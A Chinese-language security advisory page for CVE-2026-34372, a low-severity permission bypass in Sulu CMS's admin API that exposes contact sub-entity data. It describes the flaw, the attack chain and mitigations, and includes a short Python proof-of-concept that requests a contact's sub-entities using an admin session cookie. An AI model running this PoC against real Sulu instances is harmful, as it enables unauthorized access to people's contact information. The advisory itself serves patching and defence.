IPBUF安全漏洞报告
English
CVE-2026-34372 CVSS 2.7 低危

CVE-2026-34372 Sulu CMS权限绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34372
漏洞类型
权限绕过
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sulu CMS

相关标签

权限绕过SuluCMSCWE-284API安全信息泄露

漏洞概述

Sulu是基于Symfony框架的开源PHP内容管理系统。在1.0.0至2.6.22之前和3.0.0至3.0.5之前的版本中存在权限绕过漏洞。拥有Sulu Admin后台访问权限的用户,只要具备至少一个角色权限,即可通过管理API绕过权限检查,访问联系人的子实体数据,即使其并未被明确授予联系人的访问权限。该漏洞可能导致敏感联系人信息泄露。

技术细节

该漏洞源于Sulu CMS在管理API层面的权限验证逻辑不完善。在受影响版本中,系统仅验证用户是否拥有Sulu Admin的访问权限(即拥有至少一个角色),但在处理特定实体(如联系人)的子资源请求时,未严格校验用户是否具备该特定实体的访问权限。攻击者首先需要获取一个具有Admin后台访问权限的账号。随后,攻击者构造针对联系人子实体的API请求(例如获取特定联系人的详细子信息)。由于权限校验的缺失,服务器会响应这些请求,返回本应受限的数据。这种越权访问属于水平越权或垂直越权的变体,依赖于身份认证后的会话状态,无需复杂的攻击载荷即可利用。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标使用的是受影响版本的Sulu CMS。
STEP 2
2. 获取凭证
攻击者通过钓鱼或其他手段获取一个拥有Sulu Admin后台访问权限(至少一个角色)的账号凭证。
STEP 3
3. 发起攻击
攻击者使用获取的凭证向Admin API发送请求,尝试访问联系人的子实体(如/accounts等)。
STEP 4
4. 数据泄露
由于权限校验漏洞,服务器返回了本应受限的联系人子实体数据,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Sulu CMS Sub-entity Access Control Bypass (CVE-2026-34372) # Description: Exploits insufficient permission checks on contact sub-entities via Admin API. TARGET_URL = "http://target-sulu-instance.com" # Attacker needs a valid session cookie of a user with at least one role in Admin SESSION_COOKIE = "SESSION_ID_HERE" CONTACT_ID = "1" # ID of the target contact def exploit(): headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "Content-Type": "application/json" } # The endpoint to access contact sub-entities # This should be restricted to users with specific 'contact' permissions endpoint = f"{TARGET_URL}/admin/api/contacts/{CONTACT_ID}/accounts" # Example sub-entity print(f"[*] Attempting to access sub-entity for contact ID: {CONTACT_ID}...") try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Sub-entity data retrieved:") print(response.text) elif response.status_code == 403: print("[-] Access forbidden. Patched or permissions strict.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Sulu CMS >= 1.0.0, < 2.6.22
Sulu CMS >= 3.0.0, < 3.0.5

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面限制对/admin/api路径的访问,仅允许受信任的IP地址连接。同时,严格审查并撤销不必要的后台管理员账号,确保只有必要人员拥有Sulu Admin的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表